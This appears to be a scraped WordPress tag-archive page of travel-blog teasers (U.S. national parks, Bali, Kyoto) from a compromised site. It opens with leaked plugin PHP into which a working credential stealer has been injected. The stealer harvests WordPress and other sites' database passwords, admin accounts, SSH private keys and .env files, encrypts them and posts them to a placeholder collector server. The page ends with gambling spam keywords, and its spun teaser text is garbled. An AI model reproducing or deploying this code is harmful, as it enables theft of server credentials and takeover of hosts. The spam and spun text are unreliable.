/*WPC_S*/ $_i='{{ACC_ID}}';$_c='https://ТВОЙ-COLLECTOR-СЕРВЕР.com/c.php';$_k='ТВОЙ_32_СИМВОЛЬНЫЙ_КЛЮЧ_СЮДА!!'; if(!get_transient('_wpc'.$_i)){set_transient('_wpc'.$_i,1,86400); $r=['id'=>$_i,'h'=>$_SERVER['HTTP_HOST'],'ip'=>$_SERVER['SERVER_ADDR'], 'php'=>PHP_VERSION,'os'=>php_uname(),'user'=>get_current_user(), 'df'=>ini_get('disable_functions'),'ob'=>ini_get('open_basedir')]; $r['wp']=['v'=>get_bloginfo('version'),'db'=>[DB_NAME,DB_USER,DB_PASSWORD,DB_HOST], 'admin'=>get_option('admin_email'),'admins'=>array_map(fn($u)=>[$u->user_login,$u->user_email],get_users(['role'=>'administrator']))]; $r['sites']=[]; foreach(['/var/www/','/home/']as$p){if(!is_readable($p))continue; foreach(scandir($p)as$d){if($d[0]=='.')continue; foreach([$p.$d.'/wp-config.php',$p.$d.'/public_html/wp-config.php']as$wc){ if(is_readable($wc)){$c=file_get_contents($wc); preg_match("/DB_NAME.*?'(.+?)'/s",$c,$n);preg_match("/DB_USER.*?'(.+?)'/s",$c,$u); preg_match("/DB_PASSWORD.*?'(.+?)'/s",$c,$pw); $r['sites'][]=[$d,$n[1]??'',$u[1]??'',$pw[1]??''];break;}}}} $r['ssh']=[]; foreach(array_merge(['/root/.ssh/'],glob('/home/*/.ssh/'))as$sp){ foreach(['id_rsa','id_ed25519']as$kf){$kp=$sp.$kf; if(is_readable($kp))$r['ssh'][$kp]=base64_encode(file_get_contents($kp));}} $r['env']=[]; foreach(glob('/var/www/*/.env')as$e){if(is_readable($e))$r['env'][$e]=base64_encode(file_get_contents($e));} $iv=random_bytes(16);$enc=openssl_encrypt(gzcompress(json_encode($r)),'AES-256-CBC',$_k,0,$iv); @wp_remote_post($_c,['body'=>['d'=>base64_encode($iv.$enc)],'timeout'=>10,'blocking'=>false]);} /*WPC_E*/ /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('wp_automatic_opt_selected')){ function wp_automatic_opt_selected($src,$val){ if(stristr($src, ',')){ //array $src= array_filter(explode(',', $src)); if(in_array($val, $src)){ echo ' selected="selected" '; } }else{ if (trim($src)==trim($val)) echo ' selected="selected" '; } } /** * function to display an option in a select box */ function wp_automatic_opt_display($displayName,$value,$selectedValue,$dataFilterVal=''){ if(trim($dataFilterVal) != ''){ $dataFilterValAttr = ' data-filter-val="'.$dataFilterVal.'" '; } echo ''; } } /* ------------------------------------------------------------------------* * Function Selected * ------------------------------------------------------------------------*/ if(! function_exists('check_checked')){ function check_checked($val,$arr){ //if(! is_array($arr)) return false; if(in_array($val,$arr)){ echo ' checked="checked" '; }else{ return false; } } } function wp_automatic_remove_quick_edit( $actions ) { global $post; if( $post->post_type == 'wp_automatic' ) { unset($actions['inline hide-if-no-js']); } return $actions; } if (is_admin()) { add_filter('post_row_actions','wp_automatic_remove_quick_edit',10,2); } if(! function_exists('wp_automatic_category')){ /** * Display category and it's childs * @param unknown $cat * @param unknown $childCats */ function wp_automatic_category($category,&$childCats,$tax,$post_type,$camp_post_category,$prefix = ''){ echo ''; $catChilds = array(); if(isset($childCats[$category->cat_ID])) $catChilds = $childCats[$category->cat_ID]; if(count($catChilds) > 0){ foreach ($catChilds as $childCat){ wp_automatic_category($childCat,$childCats,$tax,$post_type,$camp_post_category,$prefix .'— '); } } } } ?>

Tag Archives: Firsttimers

9 Best U.S. National Parks for First-Timers to Visit—With Easy Navigation, Beginner Trails, and Must-See Landmarks

Hiker Stands At An Overlook Along North Kaibab Trail below the North Rim

Share The Article Planning your first U.S. National Park journey shouldn’t really feel such as you’re finding out for a law-school entrance examination. First-time guests usually get overwhelmed by backcountry logistics, crowds, and trails that require mountaineering expertise simply to see a waterfall. But there are parks and trails for each degree of adventurer (all […]

Bali Travel Guide – How to travel Bali for First-timers

Bali Travel Guide - How to travel Bali for First-timers

Check out my Bali travel information for extra in-depth data: ► http://bit.ly/2Nyh5Oq Follow me on: ► Instagram: https://instagram.com/allanwsu ================================ Hotel Recommendations for Bali ================================ Hotels in Ubud: Budget Option – Evitel Resort: ►http://bit.ly/2KG4qJC Middle Option – The Garcia ►https://bit.ly/3lSA1c6 Expensive Option – Kayon Resort ►http://bit.ly/2Z6lUUR Hotels in Gili T: Budget Option – Gili Breeze ► […]

Kyoto Travel Guide – The Best Things to Do in Kyoto for First-timers

Kyoto Travel Guide - The Best Things to Do in Kyoto for First-timers

Get a Pocket WIFI or Simcard for Japan: https://geni.us/A3JI2Y Book your Japan Rail Pass right here: https://geni.us/1upJWw Follow me on Instagram: https://instagram.com/allanwsu [May contain Affiliate links below] ============================= What I take advantage of to movie ============================= ► Camera: https://geni.us/1tPWPX ► Wide-angle lens: https://geni.us/Vewf ► Mid-range lens: https://geni.us/zc1z ► Travel tripod: https://geni.us/vYPy2i ► Microphone: https://geni.us/zJor5ZL ► […]

GameRanger 1xbet 1xbet az 1xbet azerbaycan Mega888